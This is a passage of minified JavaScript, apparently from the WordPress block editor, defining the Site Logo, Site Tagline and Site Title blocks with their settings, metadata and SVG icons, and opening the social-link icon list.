$=g&&k&&x&&T,U=$&&E?(0,$e.createElement)(Ze.__experimentalImageEditingProvider,{id:g,url:d,naturalWidth:k,naturalHeight:x,clientWidth:_,onSaveImage:e=>{m(e.id)},isEditing:E,onFinishEditing:()=>C(!1)},(0,$e.createElement)(Ze.__experimentalImageEditor,{url:d,width:L,height:A,clientWidth:_,naturalHeight:x,naturalWidth:k})):(0,$e.createElement)(We.ResizableBox,{size:{width:L,height:A},showHandle:c,minWidth:V,maxWidth:D,minHeight:H,maxHeight:D/R,lockAspectRatio:!0,enable:{top:!1,right:F,bottom:!0,left:G},onResizeStart:function(){S(!1)},onResizeStop:(e,t,n,o)=>{S(!0),u({width:parseInt(L+o.width,10),height:parseInt(A+o.height,10)})}},M),O=(0,$e.createInterpolateElement)((0,je.__)("Site Icons are what you see in browser tabs, bookmark bars, and within the WordPress mobile apps. To use a custom icon that is different from your site logo, use the <a>Site Icon settings</a>."),{a:(0,$e.createElement)("a",{href:p+"/wp-admin/customize.php?autofocus[section]=title_tagline",target:"_blank",rel:"noopener noreferrer"})});return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Settings")},(0,$e.createElement)(We.RangeControl,{label:(0,je.__)("Image width"),onChange:e=>u({width:e}),min:V,max:D,initialPosition:Math.min(120,D),value:o||"",disabled:!f}),(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Link image to home"),onChange:()=>u({isLink:!r}),checked:r}),r&&(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Open in new tab"),onChange:e=>u({linkTarget:e?"_blank":"_self"}),checked:"_blank"===l})),b&&(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Use as site icon"),onChange:e=>{u({shouldSyncIcon:e}),v(e?g:void 0)},checked:!!i,help:O})))),(0,$e.createElement)(Ze.BlockControls,{group:"block"},$&&!E&&(0,$e.createElement)(We.ToolbarButton,{onClick:()=>C(!0),icon:ou,label:(0,je.__)("Crop")})),U)},Hy={to:[{type:"block",blocks:["core/site-title"],transform:e=>{let{isLink:t,linkTarget:n}=e;return(0,Ge.createBlock)("core/site-title",{isLink:t,linkTarget:n})}}]},Dy={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/site-logo",title:"Site Logo",category:"theme",description:"Display a graphic to represent this site. Update the block, and the changes apply everywhere it’s used. This is different than the site icon, which is the smaller image visible in your dashboard, browser tabs, etc used to help others recognize this site.",textdomain:"default",attributes:{width:{type:"number"},isLink:{type:"boolean",default:!0},linkTarget:{type:"string",default:"_self"},shouldSyncIcon:{type:"boolean"}},example:{viewportWidth:500,attributes:{width:350,className:"block-editor-block-types-list__site-logo-example"}},supports:{html:!1,align:!0,alignWide:!1,color:{__experimentalDuotone:"img, .components-placeholder__illustration, .components-placeholder::before",text:!1,background:!1},spacing:{margin:!0,padding:!0}},styles:[{name:"default",label:"Default",isDefault:!0},{name:"rounded",label:"Rounded"}],editorStyle:"wp-block-site-logo-editor",style:"wp-block-site-logo"},{name:Fy}=Dy,Gy={icon:Ly,edit:function(e){let{attributes:t,className:n,setAttributes:o,isSelected:a}=e;const{width:r,shouldSyncIcon:l}=t,i=(0,$e.useRef)(),{siteLogoId:s,canUserEdit:c,url:u,siteIconId:m,mediaItemData:d,isRequestingMediaItem:p}=(0,it.useSelect)((e=>{const{canUser:t,getEntityRecord:n,getEditedEntityRecord:o}=e(lt.store),a=o("root","site"),r=n("root","__unstableBase"),l=null==a?void 0:a.site_logo,i=null==r?void 0:r.site_logo,s=t("update","settings"),c=s?l:i,u=null==a?void 0:a.site_icon,m=c&&e(lt.store).getMedia(c,{context:"view"}),d=c&&!e(lt.store).hasFinishedResolution("getMedia",[c,{context:"view"}]);return{siteLogoId:c,canUserEdit:s,url:null==r?void 0:r.url,mediaItemData:m,isRequestingMediaItem:d,siteIconId:u}}),[]),{editEntityRecord:g}=(0,it.useDispatch)(lt.store),h=function(e){let t=arguments.length>1&&void 0!==arguments[1]&&arguments[1];(l||t)&&v(e),g("root","site",void 0,{site_logo:e})},v=e=>g("root","site",void 0,{site_icon:null!=e?e:null}),{alt_text:b,source_url:_}=null!=d?d:{},y=function(e){let t=arguments.length>1&&void 0!==arguments[1]&&arguments[1];e&&(e.id||!e.url?h(e.id,t):h(void 0))},{createErrorNotice:f}=(0,it.useDispatch)(wt.store),k=e=>{f(e,{type:"snackbar"})},x=c&&_&&(0,$e.createElement)(Ze.BlockControls,{group:"other"},(0,$e.createElement)(Ze.MediaReplaceFlow,{mediaURL:_,allowedTypes:Ry,accept:Ay,onSelect:y,onError:k},(0,$e.createElement)(We.MenuItem,{onClick:()=>{h(null),o({width:void 0})}},(0,je.__)("Reset"))));let w;const E=void 0===s||p;E&&(w=(0,$e.createElement)(We.Spinner,null)),_&&(w=(0,$e.createElement)(Vy,{alt:b,attributes:t,className:n,containerRef:i,isSelected:a,setAttributes:o,logoUrl:_,setLogo:h,logoId:(null==d?void 0:d.id)||s,siteUrl:u,setIcon:v,iconId:m,canUserEdit:c}));const C=at()(n,{"is-default-size":!r}),S=(0,Ze.useBlockProps)({ref:i,className:C}),B=(0,je.__)("Add a site logo");return(0,$e.createElement)("div",S,x,!!_&&w,!_&&!c&&(0,$e.createElement)(We.Placeholder,{className:"site-logo_placeholder"},!!E&&(0,$e.createElement)("span",{className:"components-placeholder__preview"},(0,$e.createElement)(We.Spinner,null))),!_&&c&&(0,$e.createElement)(Ze.MediaPlaceholder,{onSelect:e=>{if(void 0===l){const t=!m;return o({shouldSyncIcon:t}),void y(e,t)}y(e)},accept:Ay,allowedTypes:Ry,onError:k,placeholder:e=>{const t=at()("block-editor-media-placeholder",n);return(0,$e.createElement)(We.Placeholder,{className:t,preview:w,withIllustration:!0},e)},mediaLibraryButton:e=>{let{open:t}=e;return(0,$e.createElement)(We.Button,{icon:au,variant:"primary",label:B,showTooltip:!0,tooltipPosition:"top center",onClick:()=>{t()}})}}))},transforms:Hy},$y=()=>qe({name:Fy,metadata:Dy,settings:Gy}),Uy=(0,$e.createElement)(We.SVG,{xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24"},(0,$e.createElement)(We.Path,{fill:"none",d:"M0 0h24v24H0z"}),(0,$e.createElement)(We.Path,{d:"M4 9h16v2H4V9zm0 4h10v2H4v-2z"})),Oy={attributes:{textAlign:{type:"string"}},supports:{align:["wide","full"],html:!1,color:{gradients:!0},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalTextTransform:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalLetterSpacing:!0}},save:()=>null,migrate:Kt,isEligible(e){var t;let{style:n}=e;return null==n||null===(t=n.typography)||void 0===t?void 0:t.fontFamily}},qy=[Oy],Wy={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/site-tagline",title:"Site Tagline",category:"theme",description:"Describe in a few words what the site is about. The tagline can be used in search results or when sharing on social networks even if it’s not displayed in the theme design.",keywords:["description"],textdomain:"default",attributes:{textAlign:{type:"string"}},supports:{align:["wide","full"],html:!1,color:{gradients:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}}},editorStyle:"wp-block-site-tagline-editor"},{name:jy}=Wy,Zy={icon:Uy,edit:function(e){let{attributes:t,setAttributes:n,insertBlocksAfter:o}=e;const{textAlign:a}=t,[r,l]=(0,lt.useEntityProp)("root","site","description"),{canUserEdit:i,readOnlySiteTagLine:s}=(0,it.useSelect)((e=>{const{canUser:t,getEntityRecord:n}=e(lt.store),o=n("root","__unstableBase");return{canUserEdit:t("update","settings"),readOnlySiteTagLine:null==o?void 0:o.description}}),[]),c=(0,Ze.useBlockProps)({className:at()({[`has-text-align-${a}`]:a,"wp-block-site-tagline__placeholder":!i&&!s})}),u=i?(0,$e.createElement)(Ze.RichText,nt({allowedFormats:[],onChange:l,"aria-label":(0,je.__)("Site tagline text"),placeholder:(0,je.__)("Write site tagline…"),tagName:"p",value:r,disableLineBreaks:!0,__unstableOnSplitAtEnd:()=>o((0,Ge.createBlock)((0,Ge.getDefaultBlockName)()))},c)):(0,$e.createElement)("p",c,s||(0,je.__)("Site Tagline placeholder"));return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.BlockControls,{group:"block"},(0,$e.createElement)(Ze.AlignmentControl,{onChange:e=>n({textAlign:e}),value:a})),u)},deprecated:qy},Qy=()=>qe({name:jy,metadata:Wy,settings:Zy}),Ky=(0,$e.createElement)(Ue.SVG,{xmlns:"https://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M12 9c-.8 0-1.5.7-1.5 1.5S11.2 12 12 12s1.5-.7 1.5-1.5S12.8 9 12 9zm0-5c-3.6 0-6.5 2.8-6.5 6.2 0 .8.3 1.8.9 3.1.5 1.1 1.2 2.3 2 3.6.7 1 3 3.8 3.2 3.9l.4.5.4-.5c.2-.2 2.6-2.9 3.2-3.9.8-1.2 1.5-2.5 2-3.6.6-1.3.9-2.3.9-3.1C18.5 6.8 15.6 4 12 4zm4.3 8.7c-.5 1-1.1 2.2-1.9 3.4-.5.7-1.7 2.2-2.4 3-.7-.8-1.9-2.3-2.4-3-.8-1.2-1.4-2.3-1.9-3.3-.6-1.4-.7-2.2-.7-2.5 0-2.6 2.2-4.7 5-4.7s5 2.1 5 4.7c0 .2-.1 1-.7 2.4z"}));function Yy(e){let{level:t,isPressed:n=!1}=e;return 0===t?wg:(0,$e.createElement)(We.SVG,{width:"20",height:"20",viewBox:"0 0 20 20",xmlns:"http://www.w3.org/2000/svg",isPressed:n},(0,$e.createElement)(We.Path,{d:{1:"M9 5h2v10H9v-4H5v4H3V5h2v4h4V5zm6.6 0c-.6.9-1.5 1.7-2.6 2v1h2v7h2V5h-1.4z",2:"M7 5h2v10H7v-4H3v4H1V5h2v4h4V5zm8 8c.5-.4.6-.6 1.1-1.1.4-.4.8-.8 1.2-1.3.3-.4.6-.8.9-1.3.2-.4.3-.8.3-1.3 0-.4-.1-.9-.3-1.3-.2-.4-.4-.7-.8-1-.3-.3-.7-.5-1.2-.6-.5-.2-1-.2-1.5-.2-.4 0-.7 0-1.1.1-.3.1-.7.2-1 .3-.3.1-.6.3-.9.5-.3.2-.6.4-.8.7l1.2 1.2c.3-.3.6-.5 1-.7.4-.2.7-.3 1.2-.3s.9.1 1.3.4c.3.3.5.7.5 1.1 0 .4-.1.8-.4 1.1-.3.5-.6.9-1 1.2-.4.4-1 .9-1.6 1.4-.6.5-1.4 1.1-2.2 1.6V15h8v-2H15z",3:"M12.1 12.2c.4.3.8.5 1.2.7.4.2.9.3 1.4.3.5 0 1-.1 1.4-.3.3-.1.5-.5.5-.8 0-.2 0-.4-.1-.6-.1-.2-.3-.3-.5-.4-.3-.1-.7-.2-1-.3-.5-.1-1-.1-1.5-.1V9.1c.7.1 1.5-.1 2.2-.4.4-.2.6-.5.6-.9 0-.3-.1-.6-.4-.8-.3-.2-.7-.3-1.1-.3-.4 0-.8.1-1.1.3-.4.2-.7.4-1.1.6l-1.2-1.4c.5-.4 1.1-.7 1.6-.9.5-.2 1.2-.3 1.8-.3.5 0 1 .1 1.6.2.4.1.8.3 1.2.5.3.2.6.5.8.8.2.3.3.7.3 1.1 0 .5-.2.9-.5 1.3-.4.4-.9.7-1.5.9v.1c.6.1 1.2.4 1.6.8.4.4.7.9.7 1.5 0 .4-.1.8-.3 1.2-.2.4-.5.7-.9.9-.4.3-.9.4-1.3.5-.5.1-1 .2-1.6.2-.8 0-1.6-.1-2.3-.4-.6-.2-1.1-.6-1.6-1l1.1-1.4zM7 9H3V5H1v10h2v-4h4v4h2V5H7v4z",4:"M9 15H7v-4H3v4H1V5h2v4h4V5h2v10zm10-2h-1v2h-2v-2h-5v-2l4-6h3v6h1v2zm-3-2V7l-2.8 4H16z",5:"M12.1 12.2c.4.3.7.5 1.1.7.4.2.9.3 1.3.3.5 0 1-.1 1.4-.4.4-.3.6-.7.6-1.1 0-.4-.2-.9-.6-1.1-.4-.3-.9-.4-1.4-.4H14c-.1 0-.3 0-.4.1l-.4.1-.5.2-1-.6.3-5h6.4v1.9h-4.3L14 8.8c.2-.1.5-.1.7-.2.2 0 .5-.1.7-.1.5 0 .9.1 1.4.2.4.1.8.3 1.1.6.3.2.6.6.8.9.2.4.3.9.3 1.4 0 .5-.1 1-.3 1.4-.2.4-.5.8-.9 1.1-.4.3-.8.5-1.3.7-.5.2-1 .3-1.5.3-.8 0-1.6-.1-2.3-.4-.6-.2-1.1-.6-1.6-1-.1-.1 1-1.5 1-1.5zM9 15H7v-4H3v4H1V5h2v4h4V5h2v10z",6:"M9 15H7v-4H3v4H1V5h2v4h4V5h2v10zm8.6-7.5c-.2-.2-.5-.4-.8-.5-.6-.2-1.3-.2-1.9 0-.3.1-.6.3-.8.5l-.6.9c-.2.5-.2.9-.2 1.4.4-.3.8-.6 1.2-.8.4-.2.8-.3 1.3-.3.4 0 .8 0 1.2.2.4.1.7.3 1 .6.3.3.5.6.7.9.2.4.3.8.3 1.3s-.1.9-.3 1.4c-.2.4-.5.7-.8 1-.4.3-.8.5-1.2.6-1 .3-2 .3-3 0-.5-.2-1-.5-1.4-.9-.4-.4-.8-.9-1-1.5-.2-.6-.3-1.3-.3-2.1s.1-1.6.4-2.3c.2-.6.6-1.2 1-1.6.4-.4.9-.7 1.4-.9.6-.3 1.1-.4 1.7-.4.7 0 1.4.1 2 .3.5.2 1 .5 1.4.8 0 .1-1.3 1.4-1.3 1.4zm-2.4 5.8c.2 0 .4 0 .6-.1.2 0 .4-.1.5-.2.1-.1.3-.3.4-.5.1-.2.1-.5.1-.7 0-.4-.1-.8-.4-1.1-.3-.2-.7-.3-1.1-.3-.3 0-.7.1-1 .2-.4.2-.7.4-1 .7 0 .3.1.7.3 1 .1.2.3.4.4.6.2.1.3.3.5.3.2.1.5.2.7.1z"}[t]}))}function Jy(e){let{level:t,onChange:n}=e;const o=[1,2,3,4,5,6,0].map((e=>{const o=e===t;return{icon:(0,$e.createElement)(Yy,{level:e,isPressed:o}),title:0===e?(0,je.__)("Paragraph"):// translators: %s: heading level e.g: "1", "2", "3"
(0,je.sprintf)((0,je.__)("Heading %d"),e),isActive:o,onClick:()=>n(e),role:"menuitemradio"}}));return(0,$e.createElement)(We.ToolbarDropdownMenu,{label:(0,je.__)("Change heading level"),icon:(0,$e.createElement)(Yy,{level:t}),controls:o})}const Xy={attributes:{level:{type:"number",default:1},textAlign:{type:"string"},isLink:{type:"boolean",default:!0},linkTarget:{type:"string",default:"_self"}},supports:{align:["wide","full"],html:!1,color:{gradients:!0,link:!0},spacing:{padding:!0,margin:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalTextTransform:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalLetterSpacing:!0}},save:()=>null,migrate:Kt,isEligible(e){var t;let{style:n}=e;return null==n||null===(t=n.typography)||void 0===t?void 0:t.fontFamily}},ef=[Xy],tf={to:[{type:"block",blocks:["core/site-logo"],transform:e=>{let{isLink:t,linkTarget:n}=e;return(0,Ge.createBlock)("core/site-logo",{isLink:t,linkTarget:n})}}]},nf={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/site-title",title:"Site Title",category:"theme",description:"Displays the name of this site. Update the block, and the changes apply everywhere it’s used. This will also appear in the browser title bar and in search results.",textdomain:"default",attributes:{level:{type:"number",default:1},textAlign:{type:"string"},isLink:{type:"boolean",default:!0},linkTarget:{type:"string",default:"_self"}},example:{viewportWidth:500},supports:{align:["wide","full"],html:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0,link:!0}},spacing:{padding:!0,margin:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0,lineHeight:!0,fontAppearance:!0,letterSpacing:!0,textTransform:!0}}},editorStyle:"wp-block-site-title-editor",style:"wp-block-site-title"},{name:of}=nf,af={icon:Ky,edit:function(e){let{attributes:t,setAttributes:n,insertBlocksAfter:o}=e;const{level:a,textAlign:r,isLink:l,linkTarget:i}=t,[s,c]=(0,lt.useEntityProp)("root","site","title"),{canUserEdit:u,readOnlyTitle:m}=(0,it.useSelect)((e=>{const{canUser:t,getEntityRecord:n}=e(lt.store),o=n("root","__unstableBase");return{canUserEdit:t("update","settings"),readOnlyTitle:(0,Pd.decodeEntities)(null==o?void 0:o.name)}}),[]),d=0===a?"p":`h${a}`,p=(0,Ze.useBlockProps)({className:at()({[`has-text-align-${r}`]:r,"wp-block-site-title__placeholder":!u&&!m})}),g=u?(0,$e.createElement)(d,p,(0,$e.createElement)(Ze.RichText,{tagName:l?"a":"span",href:l?"#site-title-pseudo-link":void 0,"aria-label":(0,je.__)("Site title text"),placeholder:(0,je.__)("Write site title…"),value:s,onChange:c,allowedFormats:[],disableLineBreaks:!0,__unstableOnSplitAtEnd:()=>o((0,Ge.createBlock)((0,Ge.getDefaultBlockName)()))})):(0,$e.createElement)(d,p,l?(0,$e.createElement)("a",{href:"#site-title-pseudo-link",onClick:e=>e.preventDefault()},m||(0,je.__)("Site Title placeholder")):(0,$e.createElement)("span",null,s||m));return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.BlockControls,{group:"block"},(0,$e.createElement)(Jy,{level:a,onChange:e=>n({level:e})}),(0,$e.createElement)(Ze.AlignmentControl,{value:r,onChange:e=>{n({textAlign:e})}})),(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Link settings")},(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Make title link to home"),onChange:()=>n({isLink:!l}),checked:l}),l&&(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Open in new tab"),onChange:e=>n({linkTarget:e?"_blank":"_self"}),checked:"_blank"===i}))),g)},transforms:tf,deprecated:ef},rf=()=>qe({name:of,metadata:nf,settings:af}),lf=(0,$e.createElement)(Ue.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(Ue.Path,{d:"M9 11.8l6.1-4.5c.1.4.4.7.9.7h2c.6 0 1-.4 1-1V5c0-.6-.4-1-1-1h-2c-.6 0-1 .4-1 1v.4l-6.4 4.8c-.2-.1-.4-.2-.6-.2H6c-.6 0-1 .4-1 1v2c0 .6.4 1 1 1h2c.2 0 .4-.1.6-.2l6.4 4.8v.4c0 .6.4 1 1 1h2c.6 0 1-.4 1-1v-2c0-.6-.4-1-1-1h-2c-.5 0-.8.3-.9.7L9 12.2v-.4z"})),sf=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"-2 -2 24 24"},(0,$e.createElement)(Ue.Path,{d:"M6.734 16.106l2.176-2.38-1.093-1.028-3.846 4.158 3.846 4.157 1.093-1.027-2.176-2.38h2.811c1.125 0 2.25.03 3.374 0 1.428-.001 3.362-.25 4.963-1.277 1.66-1.065 2.868-2.906 2.868-5.859 0-2.479-1.327-4.896-3.65-5.93-1.82-.813-3.044-.8-4.806-.788l-.567.002v1.5c.184 0 .368 0 .553-.002 1.82-.007 2.704-.014 4.21.657 1.854.827 2.76 2.657 2.76 4.561 0 2.472-.973 3.824-2.178 4.596-1.258.807-2.864 1.04-4.163 1.04h-.02c-1.115.03-2.229 0-3.344 0H6.734z"})),cf=()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1"},(0,$e.createElement)(Ue.Path,{d:"M19.647,16.706a1.134,1.134,0,0,0-.343-.833l-2.549-2.549a1.134,1.134,0,0,0-.833-.343,1.168,1.168,0,0,0-.883.392l.233.226q.2.189.264.264a2.922,2.922,0,0,1,.184.233.986.986,0,0,1,.159.312,1.242,1.242,0,0,1,.043.337,1.172,1.172,0,0,1-1.176,1.176,1.237,1.237,0,0,1-.337-.043,1,1,0,0,1-.312-.159,2.76,2.76,0,0,1-.233-.184q-.073-.068-.264-.264l-.226-.233a1.19,1.19,0,0,0-.4.895,1.134,1.134,0,0,0,.343.833L15.837,19.3a1.13,1.13,0,0,0,.833.331,1.18,1.18,0,0,0,.833-.318l1.8-1.789a1.12,1.12,0,0,0,.343-.821Zm-8.615-8.64a1.134,1.134,0,0,0-.343-.833L8.163,4.7a1.134,1.134,0,0,0-.833-.343,1.184,1.184,0,0,0-.833.331L4.7,6.473a1.12,1.12,0,0,0-.343.821,1.134,1.134,0,0,0,.343.833l2.549,2.549a1.13,1.13,0,0,0,.833.331,1.184,1.184,0,0,0,.883-.38L8.728,10.4q-.2-.189-.264-.264A2.922,2.922,0,0,1,8.28,9.9a.986.986,0,0,1-.159-.312,1.242,1.242,0,0,1-.043-.337A1.172,1.172,0,0,1,9.254,8.079a1.237,1.237,0,0,1,.337.043,1,1,0,0,1,.312.159,2.761,2.761,0,0,1,.233.184q.073.068.264.264l.226.233a1.19,1.19,0,0,0,.4-.895ZM22,16.706a3.343,3.343,0,0,1-1.042,2.488l-1.8,1.789a3.536,3.536,0,0,1-4.988-.025l-2.525-2.537a3.384,3.384,0,0,1-1.017-2.488,3.448,3.448,0,0,1,1.078-2.561l-1.078-1.078a3.434,3.434,0,0,1-2.549,1.078,3.4,3.4,0,0,1-2.5-1.029L3.029,9.794A3.4,3.4,0,0,1,2,7.294,3.343,3.343,0,0,1,3.042,4.806l1.8-1.789A3.384,3.384,0,0,1,7.331,2a3.357,3.357,0,0,1,2.5,1.042l2.525,2.537a3.384,3.384,0,0,1,1.017,2.488,3.448,3.448,0,0,1-1.078,2.561l1.078,1.078a3.551,3.551,0,0,1,5.049-.049l2.549,2.549A3.4,3.4,0,0,1,22,16.706Z"})),uf=[{isDefault:!0,name:"wordpress",attributes:{service:"wordpress"},title:"WordPress",icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(Ue.Path,{d:"M12.158,12.786L9.46,20.625c0.806,0.237,1.657,0.366,2.54,0.366c1.047,0,2.051-0.181,2.986-0.51 c-0.024-0.038-0.046-0.079-0.065-0.124L12.158,12.786z M3.009,12c0,3.559,2.068,6.634,5.067,8.092L3.788,8.341 C3.289,9.459,3.009,10.696,3.009,12z M18.069,11.546c0-1.112-0.399-1.881-0.741-2.48c-0.456-0.741-0.883-1.368-0.883-2.109 c0-0.826,0.627-1.596,1.51-1.596c0.04,0,0.078,0.005,0.116,0.007C16.472,3.904,14.34,3.009,12,3.009 c-3.141,0-5.904,1.612-7.512,4.052c0.211,0.007,0.41,0.011,0.579,0.011c0.94,0,2.396-0.114,2.396-0.114 C7.947,6.93,8.004,7.642,7.52,7.699c0,0-0.487,0.057-1.029,0.085l3.274,9.739l1.968-5.901l-1.401-3.838 C9.848,7.756,9.389,7.699,9.389,7.699C8.904,7.67,8.961,6.93,9.446,6.958c0,0,1.484,0.114,2.368,0.114 c0.94,0,2.397-0.114,2.397-0.114c0.485-0.028,0.542,0.684,0.057,0.741c0,0-0.488,0.057-1.029,0.085l3.249,9.665l0.897-2.996 C17.841,13.284,18.069,12.316,18.069,11.546z M19.889,7.686c0.039,0.286,0.06,0.593,0.06,0.924c0,0.912-0.171,1.938-0.684,3.22 l-2.746,7.94c2.673-1.558,4.47-4.454,4.47-7.771C20.991,10.436,20.591,8.967,19.889,7.686z M12,22C6.486,22,2,17.514,2,12 C2,6.486,6.486,2,12,2c5.514,0,10,4.486,10,10C22,17.514,17.514,22,12,22z"}))},{name:"fivehundredpx",attributes:{service:"fivehundredpx"},title:"500px",icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1"},(0,$e.createElement)(Ue.Path,{d:"M6.94026,15.1412c.00437.01213.108.29862.168.44064a6.55008,6.55008,0,1,0,6.03191-9.09557,6.68654,6.68654,0,0,0-2.58357.51467A8.53914,8.53914,0,0,0,8.21268,8.61344L8.209,8.61725V3.22948l9.0504-.00008c.32934-.0036.32934-.46353.32934-.61466s0-.61091-.33035-.61467L7.47248,2a.43.43,0,0,0-.43131.42692v7.58355c0,.24466.30476.42131.58793.4819.553.11812.68074-.05864.81617-.2457l.018-.02481A10.52673,10.52673,0,0,1,9.32258,9.258a5.35268,5.35268,0,1,1,7.58985,7.54976,5.417,5.417,0,0,1-3.80867,1.56365,5.17483,5.17483,0,0,1-2.69822-.74478l.00342-4.61111a2.79372,2.79372,0,0,1,.71372-1.78792,2.61611,2.61611,0,0,1,1.98282-.89477,2.75683,2.75683,0,0,1,1.95525.79477,2.66867,2.66867,0,0,1,.79656,1.909,2.724,2.724,0,0,1-2.75849,2.748,4.94651,4.94651,0,0,1-.86254-.13719c-.31234-.093-.44519.34058-.48892.48349-.16811.54966.08453.65862.13687.67489a3.75751,3.75751,0,0,0,1.25234.18375,3.94634,3.94634,0,1,0-2.82444-6.742,3.67478,3.67478,0,0,0-1.13028,2.584l-.00041.02323c-.0035.11667-.00579,2.881-.00644,3.78811l-.00407-.00451a6.18521,6.18521,0,0,1-1.0851-1.86092c-.10544-.27856-.34358-.22925-.66857-.12917-.14192.04372-.57386.17677-.47833.489Zm4.65165-1.08338a.51346.51346,0,0,0,.19513.31818l.02276.022a.52945.52945,0,0,0,.3517.18416.24242.24242,0,0,0,.16577-.0611c.05473-.05082.67382-.67812.73287-.738l.69041.68819a.28978.28978,0,0,0,.21437.11032.53239.53239,0,0,0,.35708-.19486c.29792-.30419.14885-.46821.07676-.54751l-.69954-.69975.72952-.73469c.16-.17311.01874-.35708-.12218-.498-.20461-.20461-.402-.25742-.52855-.14083l-.7254.72665-.73354-.73375a.20128.20128,0,0,0-.14179-.05695.54135.54135,0,0,0-.34379.19648c-.22561.22555-.274.38149-.15656.5059l.73374.7315-.72942.73072A.26589.26589,0,0,0,11.59191,14.05782Zm1.59866-9.915A8.86081,8.86081,0,0,0,9.854,4.776a.26169.26169,0,0,0-.16938.22759.92978.92978,0,0,0,.08619.42094c.05682.14524.20779.531.50006.41955a8.40969,8.40969,0,0,1,2.91968-.55484,7.87875,7.87875,0,0,1,3.086.62286,8.61817,8.61817,0,0,1,2.30562,1.49315.2781.2781,0,0,0,.18318.07586c.15529,0,.30425-.15253.43167-.29551.21268-.23861.35873-.4369.1492-.63538a8.50425,8.50425,0,0,0-2.62312-1.694A9.0177,9.0177,0,0,0,13.19058,4.14283ZM19.50945,18.6236h0a.93171.93171,0,0,0-.36642-.25406.26589.26589,0,0,0-.27613.06613l-.06943.06929A7.90606,7.90606,0,0,1,7.60639,18.505a7.57284,7.57284,0,0,1-1.696-2.51537,8.58715,8.58715,0,0,1-.5147-1.77754l-.00871-.04864c-.04939-.25873-.28755-.27684-.62981-.22448-.14234.02178-.5755.088-.53426.39969l.001.00712a9.08807,9.08807,0,0,0,15.406,4.99094c.00193-.00192.04753-.04718.0725-.07436C19.79425,19.16234,19.87422,18.98728,19.50945,18.6236Z"}))},{name:"amazon",attributes:{service:"amazon"},title:"Amazon",icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1"},(0,$e.createElement)(Ue.Path,{d:"M13.582,8.182C11.934,8.367,9.78,8.49,8.238,9.166c-1.781,0.769-3.03,2.337-3.03,4.644 c0,2.953,1.86,4.429,4.253,4.429c2.02,0,3.125-0.477,4.685-2.065c0.516,0.747,0.685,1.109,1.629,1.894 c0.212,0.114,0.483,0.103,0.672-0.066l0.006,0.006c0.567-0.505,1.599-1.401,2.18-1.888c0.231-0.188,0.19-0.496,0.009-0.754 c-0.52-0.718-1.072-1.303-1.072-2.634V8.305c0-1.876,0.133-3.599-1.249-4.891C15.23,2.369,13.422,2,12.04,2 C9.336,2,6.318,3.01,5.686,6.351C5.618,6.706,5.877,6.893,6.109,6.945l2.754,0.298C9.121,7.23,9.308,6.977,9.357,6.72 c0.236-1.151,1.2-1.706,2.284-1.706c0.584,0,1.249,0.215,1.595,0.738c0.398,0.584,0.346,1.384,0.346,2.061V8.182z M13.049,14.088 c-0.451,0.8-1.169,1.291-1.967,1.291c-1.09,0-1.728-0.83-1.728-2.061c0-2.42,2.171-2.86,4.227-2.86v0.615 C13.582,12.181,13.608,13.104,13.049,14.088z M20.683,19.339C18.329,21.076,14.917,22,11.979,22c-4.118,0-7.826-1.522-10.632-4.057 c-0.22-0.199-0.024-0.471,0.241-0.317c3.027,1.762,6.771,2.823,10.639,2.823c2.608,0,5.476-0.541,8.115-1.66 C20.739,18.62,21.072,19.051,20.683,19.339z M21.336,21.043c-0.194,0.163-0.379,0.076-0.293-0.139 c0.284-0.71,0.92-2.298,0.619-2.684c-0.301-0.386-1.99-0.183-2.749-0.092c-0.23,0.027-0.266-0.173-0.059-0.319 c1.348-0.946,3.555-0.673,3.811-0.356C22.925,17.773,22.599,19.986,21.336,21.043z"}))},{name:"bandcamp",attributes:{service:"bandcamp"},title:"Bandcamp",icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1"},(0,$e.createElement)(Ue.Path,{d:"M15.27 17.289 